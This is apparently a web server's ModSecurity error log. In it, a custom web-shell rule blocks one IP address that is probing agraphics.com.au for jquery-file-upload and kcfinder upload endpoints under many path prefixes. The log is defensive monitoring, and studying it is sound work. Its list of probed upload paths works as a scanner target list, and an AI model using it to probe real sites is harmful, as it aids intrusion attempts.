[Fri May 22 22:13:42.436186 2026] [:error] [pid 58782:tid 58794] [client 134.199.156.173:55538] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assets/plugins/js/server/php/"] [unique_id "ahBkloxsdTFafgO8vhQz3gAAAQo"]
[Fri May 22 22:13:42.449034 2026] [:error] [pid 58782:tid 58797] [client 134.199.156.173:55542] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/libraries/jsupload/server/php/"] [unique_id "ahBkloxsdTFafgO8vhQz3wAAAQ0"]
[Fri May 22 22:13:42.459585 2026] [:error] [pid 58782:tid 58796] [client 134.199.156.173:55558] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assets/global/plugins/server/php/"] [unique_id "ahBkloxsdTFafgO8vhQz4AAAAQw"]
[Fri May 22 22:13:42.466157 2026] [:error] [pid 58782:tid 58789] [client 134.199.156.173:55568] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assets/plugins/jquery-file-upload/server/php/"] [unique_id "ahBkloxsdTFafgO8vhQz4QAAAQU"]
[Fri May 22 22:13:42.468505 2026] [:error] [pid 58782:tid 58798] [client 134.199.156.173:55570] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assets/plugins/server/php/"] [unique_id "ahBkloxsdTFafgO8vhQz4gAAAQ4"]
[Fri May 22 22:13:42.470682 2026] [:error] [pid 58782:tid 58790] [client 134.199.156.173:55576] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assets/plugins/js/jquery-file-upload/server/php/"] [unique_id "ahBkloxsdTFafgO8vhQz4wAAAQY"]
[Fri May 22 22:13:42.477758 2026] [:error] [pid 58782:tid 58800] [client 134.199.156.173:55592] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assets/plugins/js/server/php/"] [unique_id "ahBkloxsdTFafgO8vhQz5AAAARA"]
[Fri May 22 22:13:42.508478 2026] [:error] [pid 58782:tid 58791] [client 134.199.156.173:55598] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assets/plugins/jquery-file-upload/server/php/"] [unique_id "ahBkloxsdTFafgO8vhQz5QAAAQc"]
[Fri May 22 22:13:42.552677 2026] [:error] [pid 58782:tid 58786] [client 134.199.156.173:55614] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assets/plugins/jquery-file-upload/server/php/"] [unique_id "ahBkloxsdTFafgO8vhQz5gAAAQI"]
[Fri May 22 22:13:42.647522 2026] [:error] [pid 58782:tid 58788] [client 134.199.156.173:55630] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kcfinder/upload.php"] [unique_id "ahBkloxsdTFafgO8vhQz5wAAAQQ"]
[Fri May 22 22:13:42.658408 2026] [:error] [pid 58782:tid 58806] [client 134.199.156.173:55642] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assets/kcfinder/upload.php"] [unique_id "ahBkloxsdTFafgO8vhQz6AAAARY"]
[Fri May 22 22:13:42.659170 2026] [:error] [pid 58782:tid 58801] [client 134.199.156.173:55646] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asset/server/php/"] [unique_id "ahBkloxsdTFafgO8vhQz6QAAARE"]
[Fri May 22 22:13:42.669446 2026] [:error] [pid 58782:tid 58803] [client 134.199.156.173:55652] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assets/jquery-file-upload/server/php/"] [unique_id "ahBkloxsdTFafgO8vhQz6gAAARM"]
[Fri May 22 22:13:42.670489 2026] [:error] [pid 58782:tid 58799] [client 134.199.156.173:55654] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/js/jquery-file-upload/server/php/"] [unique_id "ahBkloxsdTFafgO8vhQz6wAAAQ8"]
[Fri May 22 22:13:42.688593 2026] [:error] [pid 58813:tid 58819] [client 134.199.156.173:55662] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kcfinder/upload.php"] [unique_id "ahBklp6yyKWDKULhxJ2VFQAAAUM"]
[Fri May 22 22:13:42.701114 2026] [:error] [pid 58782:tid 58792] [client 134.199.156.173:55672] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assets/kcfinder/upload.php"] [unique_id "ahBkloxsdTFafgO8vhQz7AAAAQg"]
[Fri May 22 22:13:42.705085 2026] [:error] [pid 58813:tid 58817] [client 134.199.156.173:55684] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asset/server/php/"] [unique_id "ahBklp6yyKWDKULhxJ2VFgAAAUE"]
[Fri May 22 22:13:42.709465 2026] [:error] [pid 58782:tid 58804] [client 134.199.156.173:55698] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/js/kcfinder/upload.php"] [unique_id "ahBkloxsdTFafgO8vhQz7QAAARQ"]
[Fri May 22 22:13:42.713738 2026] [:error] [pid 58813:tid 58832] [client 134.199.156.173:55704] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assets/jquery-file-upload/server/php/"] [unique_id "ahBklp6yyKWDKULhxJ2VFwAAAVA"]
[Fri May 22 22:13:42.714770 2026] [:error] [pid 58782:tid 58787] [client 134.199.156.173:55714] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/js/jquery-file-upload/server/php/"] [unique_id "ahBkloxsdTFafgO8vhQz7gAAAQM"]
[Fri May 22 22:13:42.717094 2026] [:error] [pid 58813:tid 58840] [client 134.199.156.173:55722] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plugins/js/jquery-file-upload/server/php/"] [unique_id "ahBklp6yyKWDKULhxJ2VGAAAAVg"]
[Fri May 22 22:13:42.718523 2026] [:error] [pid 58782:tid 58807] [client 134.199.156.173:55728] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plugins/server/php/"] [unique_id "ahBkloxsdTFafgO8vhQz7wAAARc"]
[Fri May 22 22:13:42.719625 2026] [:error] [pid 15583:tid 15592] [client 134.199.156.173:55732] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assets/server/php/"] [unique_id "ahBklnnaOncRcIm17YUrFQAAAAQ"]
[Fri May 22 22:13:42.724049 2026] [:error] [pid 58813:tid 58827] [client 134.199.156.173:55738] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plugin/server/php/"] [unique_id "ahBklp6yyKWDKULhxJ2VGQAAAUs"]
[Fri May 22 22:13:42.726741 2026] [:error] [pid 15679:tid 15693] [client 134.199.156.173:55754] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asset/kcfinder/upload.php"] [unique_id "ahBklih8tgGc38WJ-Gx3tQAAAMw"]
[Fri May 22 22:13:42.732038 2026] [:error] [pid 15679:tid 15683] [client 134.199.156.173:55766] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/js/server/php/"] [unique_id "ahBklih8tgGc38WJ-Gx3tgAAAMI"]
[Fri May 22 22:13:42.735823 2026] [:error] [pid 15584:tid 15641] [client 134.199.156.173:55772] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kcfinder/upload.php"] [unique_id "ahBklt9Z_TVLbNEx52hEXgAAAFU"]
[Fri May 22 22:13:42.744366 2026] [:error] [pid 15583:tid 15597] [client 134.199.156.173:55786] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assets/kcfinder/upload.php"] [unique_id "ahBklnnaOncRcIm17YUrFgAAAAk"]
[Fri May 22 22:13:42.749525 2026] [:error] [pid 15583:tid 15610] [client 134.199.156.173:55794] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asset/server/php/"] [unique_id "ahBklnnaOncRcIm17YUrFwAAABY"]
[Fri May 22 22:13:42.751054 2026] [:error] [pid 15583:tid 15599] [client 134.199.156.173:55804] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/js/kcfinder/upload.php"] [unique_id "ahBklnnaOncRcIm17YUrGAAAAAs"]
[Fri May 22 22:13:42.754871 2026] [:error] [pid 15583:tid 15608] [client 134.199.156.173:55820] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assets/jquery-file-upload/server/php/"] [unique_id "ahBklnnaOncRcIm17YUrGQAAABQ"]
[Fri May 22 22:13:42.756280 2026] [:error] [pid 15583:tid 15590] [client 134.199.156.173:55828] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/js/jquery-file-upload/server/php/"] [unique_id "ahBklnnaOncRcIm17YUrGgAAAAI"]
[Fri May 22 22:13:42.756984 2026] [:error] [pid 15583:tid 15588] [client 134.199.156.173:55836] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plugins/js/jquery-file-upload/server/php/"] [unique_id "ahBklnnaOncRcIm17YUrGwAAAAA"]
[Fri May 22 22:13:42.760644 2026] [:error] [pid 15583:tid 15602] [client 134.199.156.173:55842] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plugins/server/php/"] [unique_id "ahBklnnaOncRcIm17YUrHAAAAA4"]
[Fri May 22 22:13:42.761743 2026] [:error] [pid 15583:tid 15589] [client 134.199.156.173:55844] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assets/server/php/"] [unique_id "ahBklnnaOncRcIm17YUrHQAAAAE"]
[Fri May 22 22:13:42.766005 2026] [:error] [pid 15584:tid 15644] [client 134.199.156.173:55860] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plugin/server/php/"] [unique_id "ahBklt9Z_TVLbNEx52hEXwAAAFg"]
[Fri May 22 22:13:42.767786 2026] [:error] [pid 15583:tid 15603] [client 134.199.156.173:55868] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asset/kcfinder/upload.php"] [unique_id "ahBklnnaOncRcIm17YUrHgAAAA8"]
[Fri May 22 22:13:42.773825 2026] [:error] [pid 15583:tid 15606] [client 134.199.156.173:55872] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/js/server/php/"] [unique_id "ahBklnnaOncRcIm17YUrHwAAABI"]
[Fri May 22 22:13:42.792728 2026] [:error] [pid 15583:tid 15591] [client 134.199.156.173:55886] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/js/kcfinder/upload.php"] [unique_id "ahBklnnaOncRcIm17YUrIAAAAAM"]
[Fri May 22 22:13:42.798618 2026] [:error] [pid 15583:tid 15612] [client 134.199.156.173:55888] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plugins/js/jquery-file-upload/server/php/"] [unique_id "ahBklnnaOncRcIm17YUrIQAAABg"]
[Fri May 22 22:13:42.802916 2026] [:error] [pid 15583:tid 15611] [client 134.199.156.173:55900] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plugins/server/php/"] [unique_id "ahBklnnaOncRcIm17YUrIgAAABc"]
[Fri May 22 22:13:42.803731 2026] [:error] [pid 15583:tid 15601] [client 134.199.156.173:55910] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assets/server/php/"] [unique_id "ahBklnnaOncRcIm17YUrIwAAAA0"]
[Fri May 22 22:13:42.806918 2026] [:error] [pid 15583:tid 15605] [client 134.199.156.173:55914] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plugin/server/php/"] [unique_id "ahBklnnaOncRcIm17YUrJAAAABE"]
[Fri May 22 22:13:42.809460 2026] [:error] [pid 15583:tid 15598] [client 134.199.156.173:55918] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asset/kcfinder/upload.php"] [unique_id "ahBklnnaOncRcIm17YUrJQAAAAo"]
[Fri May 22 22:13:42.816877 2026] [:error] [pid 15583:tid 15604] [client 134.199.156.173:55932] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/js/server/php/"] [unique_id "ahBklnnaOncRcIm17YUrJgAAABA"]
[Fri May 22 22:13:42.888641 2026] [:error] [pid 15583:tid 15596] [client 134.199.156.173:55934] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plugins/kcfinder/upload.php"] [unique_id "ahBklnnaOncRcIm17YUrKAAAAAg"]
[Fri May 22 22:13:42.896179 2026] [:error] [pid 15583:tid 15607] [client 134.199.156.173:55948] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/core/scripts/wysiwyg/kcfinder/upload.php"] [unique_id "ahBklnnaOncRcIm17YUrKQAAABM"]
[Fri May 22 22:13:42.899304 2026] [:error] [pid 15583:tid 15600] [client 134.199.156.173:55958] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ckeditor/plugins/kcfinder/upload.php"] [unique_id "ahBklnnaOncRcIm17YUrKgAAAAw"]
[Fri May 22 22:13:42.905995 2026] [:error] [pid 15583:tid 15609] [client 134.199.156.173:55962] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assets/js/kcfinder/upload.php"] [unique_id "ahBklnnaOncRcIm17YUrKwAAABU"]
[Fri May 22 22:13:42.909185 2026] [:error] [pid 15583:tid 15594] [client 134.199.156.173:55968] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lib/kcfinder/upload.php"] [unique_id "ahBklnnaOncRcIm17YUrLAAAAAY"]
[Fri May 22 22:13:42.926129 2026] [:error] [pid 15583:tid 15597] [client 134.199.156.173:55970] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ckeditor/kcfinder/upload.php"] [unique_id "ahBklnnaOncRcIm17YUrLQAAAAk"]
[Fri May 22 22:13:42.931195 2026] [:error] [pid 58782:tid 58805] [client 134.199.156.173:55986] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assets/plugins/kcfinder/upload.php"] [unique_id "ahBkloxsdTFafgO8vhQz8AAAARU"]
[Fri May 22 22:13:42.931996 2026] [:error] [pid 15583:tid 15610] [client 134.199.156.173:55980] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plugins/kcfinder/upload.php"] [unique_id "ahBklnnaOncRcIm17YUrLgAAABY"]
[Fri May 22 22:13:42.938371 2026] [:error] [pid 15583:tid 15599] [client 134.199.156.173:55996] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/components/kcfinder/upload.php"] [unique_id "ahBklnnaOncRcIm17YUrLwAAAAs"]
[Fri May 22 22:13:42.939177 2026] [:error] [pid 15583:tid 15608] [client 134.199.156.173:56004] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/core/scripts/wysiwyg/kcfinder/upload.php"] [unique_id "ahBklnnaOncRcIm17YUrMAAAABQ"]
